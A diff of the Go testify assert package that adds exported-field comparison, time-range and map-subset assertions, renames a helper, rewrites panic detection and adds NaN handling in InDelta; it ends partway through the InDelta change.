func IsNonIncreasing(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
return isOrdered(t, object, []CompareType{compareEqual, compareGreater}, "\"%v\" is not greater than or equal to \"%v\"", msgAndArgs)
|
||||
return isOrdered(t, object, []CompareType{compareEqual, compareGreater}, "\"%v\" is not greater than or equal to \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// IsDecreasing asserts that the collection is decreasing
|
||||
//
|
||||
// assert.IsDecreasing(t, []int{2, 1, 0})
|
||||
// assert.IsDecreasing(t, []float{2, 1})
|
||||
// assert.IsDecreasing(t, []string{"b", "a"})
|
||||
// assert.IsDecreasing(t, []int{2, 1, 0})
|
||||
// assert.IsDecreasing(t, []float{2, 1})
|
||||
// assert.IsDecreasing(t, []string{"b", "a"})
|
||||
func IsDecreasing(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
return isOrdered(t, object, []CompareType{compareGreater}, "\"%v\" is not greater than \"%v\"", msgAndArgs)
|
||||
return isOrdered(t, object, []CompareType{compareGreater}, "\"%v\" is not greater than \"%v\"", msgAndArgs...)
|
||||
}
|
||||
|
||||
// IsNonDecreasing asserts that the collection is not decreasing
|
||||
//
|
||||
// assert.IsNonDecreasing(t, []int{1, 1, 2})
|
||||
// assert.IsNonDecreasing(t, []float{1, 2})
|
||||
// assert.IsNonDecreasing(t, []string{"a", "b"})
|
||||
// assert.IsNonDecreasing(t, []int{1, 1, 2})
|
||||
// assert.IsNonDecreasing(t, []float{1, 2})
|
||||
// assert.IsNonDecreasing(t, []string{"a", "b"})
|
||||
func IsNonDecreasing(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
return isOrdered(t, object, []CompareType{compareLess, compareEqual}, "\"%v\" is not less than or equal to \"%v\"", msgAndArgs)
|
||||
return isOrdered(t, object, []CompareType{compareLess, compareEqual}, "\"%v\" is not less than or equal to \"%v\"", msgAndArgs...)
|
||||
}
|
||||
+403
-123
@@ -75,6 +75,77 @@ func ObjectsAreEqual(expected, actual interface{}) bool {
|
||||
return bytes.Equal(exp, act)
|
||||
}
|
||||
|
||||
// copyExportedFields iterates downward through nested data structures and creates a copy
|
||||
// that only contains the exported struct fields.
|
||||
func copyExportedFields(expected interface{}) interface{} {
|
||||
if isNil(expected) {
|
||||
return expected
|
||||
}
|
||||
|
||||
expectedType := reflect.TypeOf(expected)
|
||||
expectedKind := expectedType.Kind()
|
||||
expectedValue := reflect.ValueOf(expected)
|
||||
|
||||
switch expectedKind {
|
||||
case reflect.Struct:
|
||||
result := reflect.New(expectedType).Elem()
|
||||
for i := 0; i < expectedType.NumField(); i++ {
|
||||
field := expectedType.Field(i)
|
||||
isExported := field.IsExported()
|
||||
if isExported {
|
||||
fieldValue := expectedValue.Field(i)
|
||||
if isNil(fieldValue) || isNil(fieldValue.Interface()) {
|
||||
continue
|
||||
}
|
||||
newValue := copyExportedFields(fieldValue.Interface())
|
||||
result.Field(i).Set(reflect.ValueOf(newValue))
|
||||
}
|
||||
}
|
||||
return result.Interface()
|
||||
|
||||
case reflect.Ptr:
|
||||
result := reflect.New(expectedType.Elem())
|
||||
unexportedRemoved := copyExportedFields(expectedValue.Elem().Interface())
|
||||
result.Elem().Set(reflect.ValueOf(unexportedRemoved))
|
||||
return result.Interface()
|
||||
|
||||
case reflect.Array, reflect.Slice:
|
||||
result := reflect.MakeSlice(expectedType, expectedValue.Len(), expectedValue.Len())
|
||||
for i := 0; i < expectedValue.Len(); i++ {
|
||||
index := expectedValue.Index(i)
|
||||
if isNil(index) {
|
||||
continue
|
||||
}
|
||||
unexportedRemoved := copyExportedFields(index.Interface())
|
||||
result.Index(i).Set(reflect.ValueOf(unexportedRemoved))
|
||||
}
|
||||
return result.Interface()
|
||||
|
||||
case reflect.Map:
|
||||
result := reflect.MakeMap(expectedType)
|
||||
for _, k := range expectedValue.MapKeys() {
|
||||
index := expectedValue.MapIndex(k)
|
||||
unexportedRemoved := copyExportedFields(index.Interface())
|
||||
result.SetMapIndex(k, reflect.ValueOf(unexportedRemoved))
|
||||
}
|
||||
return result.Interface()
|
||||
|
||||
default:
|
||||
return expected
|
||||
}
|
||||
}
|
||||
|
||||
// ObjectsExportedFieldsAreEqual determines if the exported (public) fields of two objects are
|
||||
// considered equal. This comparison of only exported fields is applied recursively to nested data
|
||||
// structures.
|
||||
//
|
||||
// This function does no assertion of any kind.
|
||||
func ObjectsExportedFieldsAreEqual(expected, actual interface{}) bool {
|
||||
expectedCleaned := copyExportedFields(expected)
|
||||
actualCleaned := copyExportedFields(actual)
|
||||
return ObjectsAreEqualValues(expectedCleaned, actualCleaned)
|
||||
}
|
||||
|
||||
// ObjectsAreEqualValues gets whether two objects are equal, or if their
|
||||
// values are equal.
|
||||
func ObjectsAreEqualValues(expected, actual interface{}) bool {
|
||||
@@ -140,10 +211,10 @@ func CallerInfo() []string {
|
||||
}
|
||||
|
||||
parts := strings.Split(file, "/")
|
||||
file = parts[len(parts)-1]
|
||||
if len(parts) > 1 {
|
||||
filename := parts[len(parts)-1]
|
||||
dir := parts[len(parts)-2]
|
||||
if (dir != "assert" && dir != "mock" && dir != "require") || file == "mock_test.go" {
|
||||
if (dir != "assert" && dir != "mock" && dir != "require") || filename == "mock_test.go" {
|
||||
callers = append(callers, fmt.Sprintf("%s:%d", file, line))
|
||||
}
|
||||
}
|
||||
@@ -271,7 +342,7 @@ type labeledContent struct {
|
||||
|
||||
// labeledOutput returns a string consisting of the provided labeledContent. Each labeled output is appended in the following manner:
|
||||
//
|
||||
// \t{{label}}:{{align_spaces}}\t{{content}}\n
|
||||
// \t{{label}}:{{align_spaces}}\t{{content}}\n
|
||||
//
|
||||
// The initial carriage return is required to undo/erase any padding added by testing.T.Errorf. The "\t{{label}}:" is for the label.
|
||||
// If a label is shorter than the longest label provided, padding spaces are added to make all the labels match in length. Once this
|
||||
@@ -294,7 +365,7 @@ func labeledOutput(content ...labeledContent) string {
|
||||
|
||||
// Implements asserts that an object is implemented by the specified interface.
|
||||
//
|
||||
// assert.Implements(t, (*MyInterface)(nil), new(MyObject))
|
||||
// assert.Implements(t, (*MyInterface)(nil), new(MyObject))
|
||||
func Implements(t TestingT, interfaceObject interface{}, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -326,7 +397,7 @@ func IsType(t TestingT, expectedType interface{}, object interface{}, msgAndArgs
|
||||
|
||||
// Equal asserts that two objects are equal.
|
||||
//
|
||||
// assert.Equal(t, 123, 123)
|
||||
// assert.Equal(t, 123, 123)
|
||||
//
|
||||
// Pointer variable equality is determined based on the equality of the
|
||||
// referenced values (as opposed to the memory addresses). Function equality
|
||||
@@ -367,7 +438,7 @@ func validateEqualArgs(expected, actual interface{}) error {
|
||||
|
||||
// Same asserts that two pointers reference the same object.
|
||||
//
|
||||
// assert.Same(t, ptr1, ptr2)
|
||||
// assert.Same(t, ptr1, ptr2)
|
||||
//
|
||||
// Both arguments must be pointer variables. Pointer variable sameness is
|
||||
// determined based on the equality of both type and value.
|
||||
@@ -387,7 +458,7 @@ func Same(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) b
|
||||
|
||||
// NotSame asserts that two pointers do not reference the same object.
|
||||
//
|
||||
// assert.NotSame(t, ptr1, ptr2)
|
||||
// assert.NotSame(t, ptr1, ptr2)
|
||||
//
|
||||
// Both arguments must be pointer variables. Pointer variable sameness is
|
||||
// determined based on the equality of both type and value.
|
||||
@@ -455,7 +526,7 @@ func truncatingFormat(data interface{}) string {
|
||||
// EqualValues asserts that two objects are equal or convertable to the same types
|
||||
// and equal.
|
||||
//
|
||||
// assert.EqualValues(t, uint32(123), int32(123))
|
||||
// assert.EqualValues(t, uint32(123), int32(123))
|
||||
func EqualValues(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -473,9 +544,53 @@ func EqualValues(t TestingT, expected, actual interface{}, msgAndArgs ...interfa
|
||||
|
||||
}
|
||||
|
||||
// EqualExportedValues asserts that the types of two objects are equal and their public
|
||||
// fields are also equal. This is useful for comparing structs that have private fields
|
||||
// that could potentially differ.
|
||||
//
|
||||
// type S struct {
|
||||
// Exported int
|
||||
// notExported int
|
||||
// }
|
||||
// assert.EqualExportedValues(t, S{1, 2}, S{1, 3}) => true
|
||||
// assert.EqualExportedValues(t, S{1, 2}, S{2, 3}) => false
|
||||
func EqualExportedValues(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
|
||||
aType := reflect.TypeOf(expected)
|
||||
bType := reflect.TypeOf(actual)
|
||||
|
||||
if aType != bType {
|
||||
return Fail(t, fmt.Sprintf("Types expected to match exactly\n\t%v != %v", aType, bType), msgAndArgs...)
|
||||
}
|
||||
|
||||
if aType.Kind() != reflect.Struct {
|
||||
return Fail(t, fmt.Sprintf("Types expected to both be struct \n\t%v != %v", aType.Kind(), reflect.Struct), msgAndArgs...)
|
||||
}
|
||||
|
||||
if bType.Kind() != reflect.Struct {
|
||||
return Fail(t, fmt.Sprintf("Types expected to both be struct \n\t%v != %v", bType.Kind(), reflect.Struct), msgAndArgs...)
|
||||
}
|
||||
|
||||
expected = copyExportedFields(expected)
|
||||
actual = copyExportedFields(actual)
|
||||
|
||||
if !ObjectsAreEqualValues(expected, actual) {
|
||||
diff := diff(expected, actual)
|
||||
expected, actual = formatUnequalValues(expected, actual)
|
||||
return Fail(t, fmt.Sprintf("Not equal (comparing only exported fields): \n"+
|
||||
"expected: %s\n"+
|
||||
"actual : %s%s", expected, actual, diff), msgAndArgs...)
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// Exactly asserts that two objects are equal in value and type.
|
||||
//
|
||||
// assert.Exactly(t, int32(123), int64(123))
|
||||
// assert.Exactly(t, int32(123), int64(123))
|
||||
func Exactly(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -494,7 +609,7 @@ func Exactly(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}
|
||||
|
||||
// NotNil asserts that the specified object is not nil.
|
||||
//
|
||||
// assert.NotNil(t, err)
|
||||
// assert.NotNil(t, err)
|
||||
func NotNil(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
if !isNil(object) {
|
||||
return true
|
||||
@@ -528,7 +643,7 @@ func isNil(object interface{}) bool {
|
||||
[]reflect.Kind{
|
||||
reflect.Chan, reflect.Func,
|
||||
reflect.Interface, reflect.Map,
|
||||
reflect.Ptr, reflect.Slice},
|
||||
reflect.Ptr, reflect.Slice, reflect.UnsafePointer},
|
||||
kind)
|
||||
|
||||
if isNilableKind && value.IsNil() {
|
||||
@@ -540,7 +655,7 @@ func isNil(object interface{}) bool {
|
||||
|
||||
// Nil asserts that the specified object is nil.
|
||||
//
|
||||
// assert.Nil(t, err)
|
||||
// assert.Nil(t, err)
|
||||
func Nil(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
if isNil(object) {
|
||||
return true
|
||||
@@ -563,16 +678,17 @@ func isEmpty(object interface{}) bool {
|
||||
|
||||
switch objValue.Kind() {
|
||||
// collection types are empty when they have no element
|
||||
case reflect.Array, reflect.Chan, reflect.Map, reflect.Slice:
|
||||
case reflect.Chan, reflect.Map, reflect.Slice:
|
||||
return objValue.Len() == 0
|
||||
// pointers are empty if nil or if the value they point to is empty
|
||||
// pointers are empty if nil or if the value they point to is empty
|
||||
case reflect.Ptr:
|
||||
if objValue.IsNil() {
|
||||
return true
|
||||
}
|
||||
deref := objValue.Elem().Interface()
|
||||
return isEmpty(deref)
|
||||
// for all other types, compare against the zero value
|
||||
// for all other types, compare against the zero value
|
||||
// array types are empty when they match their zero-initialized state
|
||||
default:
|
||||
zero := reflect.Zero(objValue.Type())
|
||||
return reflect.DeepEqual(object, zero.Interface())
|
||||
@@ -582,7 +698,7 @@ func isEmpty(object interface{}) bool {
|
||||
// Empty asserts that the specified object is empty. I.e. nil, "", false, 0 or either
|
||||
// a slice or a channel with len == 0.
|
||||
//
|
||||
// assert.Empty(t, obj)
|
||||
// assert.Empty(t, obj)
|
||||
func Empty(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
pass := isEmpty(object)
|
||||
if !pass {
|
||||
@@ -599,9 +715,9 @@ func Empty(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
// NotEmpty asserts that the specified object is NOT empty. I.e. not nil, "", false, 0 or either
|
||||
// a slice or a channel with len == 0.
|
||||
//
|
||||
// if assert.NotEmpty(t, obj) {
|
||||
// assert.Equal(t, "two", obj[1])
|
||||
// }
|
||||
// if assert.NotEmpty(t, obj) {
|
||||
// assert.Equal(t, "two", obj[1])
|
||||
// }
|
||||
func NotEmpty(t TestingT, object interface{}, msgAndArgs ...interface{}) bool {
|
||||
pass := !isEmpty(object)
|
||||
if !pass {
|
||||
@@ -630,7 +746,7 @@ func getLen(x interface{}) (ok bool, length int) {
|
||||
// Len asserts that the specified object has specific length.
|
||||
// Len also fails if the object has a type that len() not accept.
|
||||
//
|
||||
// assert.Len(t, mySlice, 3)
|
||||
// assert.Len(t, mySlice, 3)
|
||||
func Len(t TestingT, object interface{}, length int, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -648,7 +764,7 @@ func Len(t TestingT, object interface{}, length int, msgAndArgs ...interface{})
|
||||
|
||||
// True asserts that the specified value is true.
|
||||
//
|
||||
// assert.True(t, myBool)
|
||||
// assert.True(t, myBool)
|
||||
func True(t TestingT, value bool, msgAndArgs ...interface{}) bool {
|
||||
if !value {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
@@ -663,7 +779,7 @@ func True(t TestingT, value bool, msgAndArgs ...interface{}) bool {
|
||||
|
||||
// False asserts that the specified value is false.
|
||||
//
|
||||
// assert.False(t, myBool)
|
||||
// assert.False(t, myBool)
|
||||
func False(t TestingT, value bool, msgAndArgs ...interface{}) bool {
|
||||
if value {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
@@ -678,7 +794,7 @@ func False(t TestingT, value bool, msgAndArgs ...interface{}) bool {
|
||||
|
||||
// NotEqual asserts that the specified values are NOT equal.
|
||||
//
|
||||
// assert.NotEqual(t, obj1, obj2)
|
||||
// assert.NotEqual(t, obj1, obj2)
|
||||
//
|
||||
// Pointer variable equality is determined based on the equality of the
|
||||
// referenced values (as opposed to the memory addresses).
|
||||
@@ -701,7 +817,7 @@ func NotEqual(t TestingT, expected, actual interface{}, msgAndArgs ...interface{
|
||||
|
||||
// NotEqualValues asserts that two objects are not equal even when converted to the same type
|
||||
//
|
||||
// assert.NotEqualValues(t, obj1, obj2)
|
||||
// assert.NotEqualValues(t, obj1, obj2)
|
||||
func NotEqualValues(t TestingT, expected, actual interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -718,10 +834,14 @@ func NotEqualValues(t TestingT, expected, actual interface{}, msgAndArgs ...inte
|
||||
// return (false, false) if impossible.
|
||||
// return (true, false) if element was not found.
|
||||
// return (true, true) if element was found.
|
||||
func includeElement(list interface{}, element interface{}) (ok, found bool) {
|
||||
func containsElement(list interface{}, element interface{}) (ok, found bool) {
|
||||
|
||||
listValue := reflect.ValueOf(list)
|
||||
listKind := reflect.TypeOf(list).Kind()
|
||||
listType := reflect.TypeOf(list)
|
||||
if listType == nil {
|
||||
return false, false
|
||||
}
|
||||
listKind := listType.Kind()
|
||||
defer func() {
|
||||
if e := recover(); e != nil {
|
||||
ok = false
|
||||
@@ -756,15 +876,15 @@ func includeElement(list interface{}, element interface{}) (ok, found bool) {
|
||||
// Contains asserts that the specified string, list(array, slice...) or map contains the
|
||||
// specified substring or element.
|
||||
//
|
||||
// assert.Contains(t, "Hello World", "World")
|
||||
// assert.Contains(t, ["Hello", "World"], "World")
|
||||
// assert.Contains(t, {"Hello": "World"}, "Hello")
|
||||
// assert.Contains(t, "Hello World", "World")
|
||||
// assert.Contains(t, ["Hello", "World"], "World")
|
||||
// assert.Contains(t, {"Hello": "World"}, "Hello")
|
||||
func Contains(t TestingT, s, contains interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
|
||||
ok, found := includeElement(s, contains)
|
||||
ok, found := containsElement(s, contains)
|
||||
if !ok {
|
||||
return Fail(t, fmt.Sprintf("%#v could not be applied builtin len()", s), msgAndArgs...)
|
||||
}
|
||||
@@ -779,20 +899,20 @@ func Contains(t TestingT, s, contains interface{}, msgAndArgs ...interface{}) bo
|
||||
// NotContains asserts that the specified string, list(array, slice...) or map does NOT contain the
|
||||
// specified substring or element.
|
||||
//
|
||||
// assert.NotContains(t, "Hello World", "Earth")
|
||||
// assert.NotContains(t, ["Hello", "World"], "Earth")
|
||||
// assert.NotContains(t, {"Hello": "World"}, "Earth")
|
||||
// assert.NotContains(t, "Hello World", "Earth")
|
||||
// assert.NotContains(t, ["Hello", "World"], "Earth")
|
||||
// assert.NotContains(t, {"Hello": "World"}, "Earth")
|
||||
func NotContains(t TestingT, s, contains interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
|
||||
ok, found := includeElement(s, contains)
|
||||
ok, found := containsElement(s, contains)
|
||||
if !ok {
|
||||
return Fail(t, fmt.Sprintf("\"%s\" could not be applied builtin len()", s), msgAndArgs...)
|
||||
return Fail(t, fmt.Sprintf("%#v could not be applied builtin len()", s), msgAndArgs...)
|
||||
}
|
||||
if found {
|
||||
return Fail(t, fmt.Sprintf("\"%s\" should not contain \"%s\"", s, contains), msgAndArgs...)
|
||||
return Fail(t, fmt.Sprintf("%#v should not contain %#v", s, contains), msgAndArgs...)
|
||||
}
|
||||
|
||||
return true
|
||||
@@ -802,7 +922,7 @@ func NotContains(t TestingT, s, contains interface{}, msgAndArgs ...interface{})
|
||||
// Subset asserts that the specified list(array, slice...) contains all
|
||||
// elements given in the specified subset(array, slice...).
|
||||
//
|
||||
// assert.Subset(t, [1, 2, 3], [1, 2], "But [1, 2, 3] does contain [1, 2]")
|
||||
// assert.Subset(t, [1, 2, 3], [1, 2], "But [1, 2, 3] does contain [1, 2]")
|
||||
func Subset(t TestingT, list, subset interface{}, msgAndArgs ...interface{}) (ok bool) {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -811,32 +931,44 @@ func Subset(t TestingT, list, subset interface{}, msgAndArgs ...interface{}) (ok
|
||||
return true // we consider nil to be equal to the nil set
|
||||
}
|
||||
|
||||
subsetValue := reflect.ValueOf(subset)
|
||||
defer func() {
|
||||
if e := recover(); e != nil {
|
||||
ok = false
|
||||
}
|
||||
}()
|
||||
|
||||
listKind := reflect.TypeOf(list).Kind()
|
||||
subsetKind := reflect.TypeOf(subset).Kind()
|
||||
|
||||
if listKind != reflect.Array && listKind != reflect.Slice {
|
||||
if listKind != reflect.Array && listKind != reflect.Slice && listKind != reflect.Map {
|
||||
return Fail(t, fmt.Sprintf("%q has an unsupported type %s", list, listKind), msgAndArgs...)
|
||||
}
|
||||
|
||||
if subsetKind != reflect.Array && subsetKind != reflect.Slice {
|
||||
subsetKind := reflect.TypeOf(subset).Kind()
|
||||
if subsetKind != reflect.Array && subsetKind != reflect.Slice && listKind != reflect.Map {
|
||||
return Fail(t, fmt.Sprintf("%q has an unsupported type %s", subset, subsetKind), msgAndArgs...)
|
||||
}
|
||||
|
||||
for i := 0; i < subsetValue.Len(); i++ {
|
||||
element := subsetValue.Index(i).Interface()
|
||||
ok, found := includeElement(list, element)
|
||||
if subsetKind == reflect.Map && listKind == reflect.Map {
|
||||
subsetMap := reflect.ValueOf(subset)
|
||||
actualMap := reflect.ValueOf(list)
|
||||
|
||||
for _, k := range subsetMap.MapKeys() {
|
||||
ev := subsetMap.MapIndex(k)
|
||||
av := actualMap.MapIndex(k)
|
||||
|
||||
if !av.IsValid() {
|
||||
return Fail(t, fmt.Sprintf("%#v does not contain %#v", list, subset), msgAndArgs...)
|
||||
}
|
||||
if !ObjectsAreEqual(ev.Interface(), av.Interface()) {
|
||||
return Fail(t, fmt.Sprintf("%#v does not contain %#v", list, subset), msgAndArgs...)
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
subsetList := reflect.ValueOf(subset)
|
||||
for i := 0; i < subsetList.Len(); i++ {
|
||||
element := subsetList.Index(i).Interface()
|
||||
ok, found := containsElement(list, element)
|
||||
if !ok {
|
||||
return Fail(t, fmt.Sprintf("\"%s\" could not be applied builtin len()", list), msgAndArgs...)
|
||||
return Fail(t, fmt.Sprintf("%#v could not be applied builtin len()", list), msgAndArgs...)
|
||||
}
|
||||
if !found {
|
||||
return Fail(t, fmt.Sprintf("\"%s\" does not contain \"%s\"", list, element), msgAndArgs...)
|
||||
return Fail(t, fmt.Sprintf("%#v does not contain %#v", list, element), msgAndArgs...)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -846,36 +978,48 @@ func Subset(t TestingT, list, subset interface{}, msgAndArgs ...interface{}) (ok
|
||||
// NotSubset asserts that the specified list(array, slice...) contains not all
|
||||
// elements given in the specified subset(array, slice...).
|
||||
//
|
||||
// assert.NotSubset(t, [1, 3, 4], [1, 2], "But [1, 3, 4] does not contain [1, 2]")
|
||||
// assert.NotSubset(t, [1, 3, 4], [1, 2], "But [1, 3, 4] does not contain [1, 2]")
|
||||
func NotSubset(t TestingT, list, subset interface{}, msgAndArgs ...interface{}) (ok bool) {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
if subset == nil {
|
||||
return Fail(t, fmt.Sprintf("nil is the empty set which is a subset of every set"), msgAndArgs...)
|
||||
return Fail(t, "nil is the empty set which is a subset of every set", msgAndArgs...)
|
||||
}
|
||||
|
||||
subsetValue := reflect.ValueOf(subset)
|
||||
defer func() {
|
||||
if e := recover(); e != nil {
|
||||
ok = false
|
||||
}
|
||||
}()
|
||||
|
||||
listKind := reflect.TypeOf(list).Kind()
|
||||
subsetKind := reflect.TypeOf(subset).Kind()
|
||||
|
||||
if listKind != reflect.Array && listKind != reflect.Slice {
|
||||
if listKind != reflect.Array && listKind != reflect.Slice && listKind != reflect.Map {
|
||||
return Fail(t, fmt.Sprintf("%q has an unsupported type %s", list, listKind), msgAndArgs...)
|
||||
}
|
||||
|
||||
if subsetKind != reflect.Array && subsetKind != reflect.Slice {
|
||||
subsetKind := reflect.TypeOf(subset).Kind()
|
||||
if subsetKind != reflect.Array && subsetKind != reflect.Slice && listKind != reflect.Map {
|
||||
return Fail(t, fmt.Sprintf("%q has an unsupported type %s", subset, subsetKind), msgAndArgs...)
|
||||
}
|
||||
|
||||
for i := 0; i < subsetValue.Len(); i++ {
|
||||
element := subsetValue.Index(i).Interface()
|
||||
ok, found := includeElement(list, element)
|
||||
if subsetKind == reflect.Map && listKind == reflect.Map {
|
||||
subsetMap := reflect.ValueOf(subset)
|
||||
actualMap := reflect.ValueOf(list)
|
||||
|
||||
for _, k := range subsetMap.MapKeys() {
|
||||
ev := subsetMap.MapIndex(k)
|
||||
av := actualMap.MapIndex(k)
|
||||
|
||||
if !av.IsValid() {
|
||||
return true
|
||||
}
|
||||
if !ObjectsAreEqual(ev.Interface(), av.Interface()) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return Fail(t, fmt.Sprintf("%q is a subset of %q", subset, list), msgAndArgs...)
|
||||
}
|
||||
|
||||
subsetList := reflect.ValueOf(subset)
|
||||
for i := 0; i < subsetList.Len(); i++ {
|
||||
element := subsetList.Index(i).Interface()
|
||||
ok, found := containsElement(list, element)
|
||||
if !ok {
|
||||
return Fail(t, fmt.Sprintf("\"%s\" could not be applied builtin len()", list), msgAndArgs...)
|
||||
}
|
||||
@@ -1000,32 +1144,26 @@ func Condition(t TestingT, comp Comparison, msgAndArgs ...interface{}) bool {
|
||||
type PanicTestFunc func()
|
||||
|
||||
// didPanic returns true if the function passed to it panics. Otherwise, it returns false.
|
||||
func didPanic(f PanicTestFunc) (bool, interface{}, string) {
|
||||
|
||||
didPanic := false
|
||||
var message interface{}
|
||||
var stack string
|
||||
func() {
|
||||
|
||||
defer func() {
|
||||
if message = recover(); message != nil {
|
||||
didPanic = true
|
||||
stack = string(debug.Stack())
|
||||
}
|
||||
}()
|
||||
|
||||
// call the target function
|
||||
f()
|
||||
func didPanic(f PanicTestFunc) (didPanic bool, message interface{}, stack string) {
|
||||
didPanic = true
|
||||
|
||||
defer func() {
|
||||
message = recover()
|
||||
if didPanic {
|
||||
stack = string(debug.Stack())
|
||||
}
|
||||
}()
|
||||
|
||||
return didPanic, message, stack
|
||||
// call the target function
|
||||
f()
|
||||
didPanic = false
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// Panics asserts that the code inside the specified PanicTestFunc panics.
|
||||
//
|
||||
// assert.Panics(t, func(){ GoCrazy() })
|
||||
// assert.Panics(t, func(){ GoCrazy() })
|
||||
func Panics(t TestingT, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1041,7 +1179,7 @@ func Panics(t TestingT, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
// PanicsWithValue asserts that the code inside the specified PanicTestFunc panics, and that
|
||||
// the recovered panic value equals the expected panic value.
|
||||
//
|
||||
// assert.PanicsWithValue(t, "crazy error", func(){ GoCrazy() })
|
||||
// assert.PanicsWithValue(t, "crazy error", func(){ GoCrazy() })
|
||||
func PanicsWithValue(t TestingT, expected interface{}, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1062,7 +1200,7 @@ func PanicsWithValue(t TestingT, expected interface{}, f PanicTestFunc, msgAndAr
|
||||
// panics, and that the recovered panic value is an error that satisfies the
|
||||
// EqualError comparison.
|
||||
//
|
||||
// assert.PanicsWithError(t, "crazy error", func(){ GoCrazy() })
|
||||
// assert.PanicsWithError(t, "crazy error", func(){ GoCrazy() })
|
||||
func PanicsWithError(t TestingT, errString string, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1082,7 +1220,7 @@ func PanicsWithError(t TestingT, errString string, f PanicTestFunc, msgAndArgs .
|
||||
|
||||
// NotPanics asserts that the code inside the specified PanicTestFunc does NOT panic.
|
||||
//
|
||||
// assert.NotPanics(t, func(){ RemainCalm() })
|
||||
// assert.NotPanics(t, func(){ RemainCalm() })
|
||||
func NotPanics(t TestingT, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1097,7 +1235,7 @@ func NotPanics(t TestingT, f PanicTestFunc, msgAndArgs ...interface{}) bool {
|
||||
|
||||
// WithinDuration asserts that the two times are within duration delta of each other.
|
||||
//
|
||||
// assert.WithinDuration(t, time.Now(), time.Now(), 10*time.Second)
|
||||
// assert.WithinDuration(t, time.Now(), time.Now(), 10*time.Second)
|
||||
func WithinDuration(t TestingT, expected, actual time.Time, delta time.Duration, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1111,6 +1249,27 @@ func WithinDuration(t TestingT, expected, actual time.Time, delta time.Duration,
|
||||
return true
|
||||
}
|
||||
|
||||
// WithinRange asserts that a time is within a time range (inclusive).
|
||||
//
|
||||
// assert.WithinRange(t, time.Now(), time.Now().Add(-time.Second), time.Now().Add(time.Second))
|
||||
func WithinRange(t TestingT, actual, start, end time.Time, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
|
||||
if end.Before(start) {
|
||||
return Fail(t, "Start should be before end", msgAndArgs...)
|
||||
}
|
||||
|
||||
if actual.Before(start) {
|
||||
return Fail(t, fmt.Sprintf("Time %v expected to be in time range %v to %v, but is before the range", actual, start, end), msgAndArgs...)
|
||||
} else if actual.After(end) {
|
||||
return Fail(t, fmt.Sprintf("Time %v expected to be in time range %v to %v, but is after the range", actual, start, end), msgAndArgs...)
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func toFloat(x interface{}) (float64, bool) {
|
||||
var xf float64
|
||||
xok := true
|
||||
@@ -1151,7 +1310,7 @@ func toFloat(x interface{}) (float64, bool) {
|
||||
|
||||
// InDelta asserts that the two numerals are within delta of each other.
|
||||
//
|
||||
// assert.InDelta(t, math.Pi, 22/7.0, 0.01)
|
||||
// assert.InDelta(t, math.Pi, 22/7.0, 0.01)
|
||||
func InDelta(t TestingT, expected, actual interface{}, delta float64, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1161,11 +1320,15 @@ func InDelta(t TestingT, expected, actual interface{}, delta float64, msgAndArgs
|
||||
bf, bok := toFloat(actual)
|
||||
|
||||
if !aok || !bok {
|
||||
return Fail(t, fmt.Sprintf("Parameters must be numerical"), msgAndArgs...)
|
||||
return Fail(t, "Parameters must be numerical", msgAndArgs...)
|
||||
}
|
||||
|
||||
if math.IsNaN(af) && math.IsNaN(bf) {
|
||||
return true
|
||||
}
|
||||
|
||||
if math.IsNaN(af) {
|
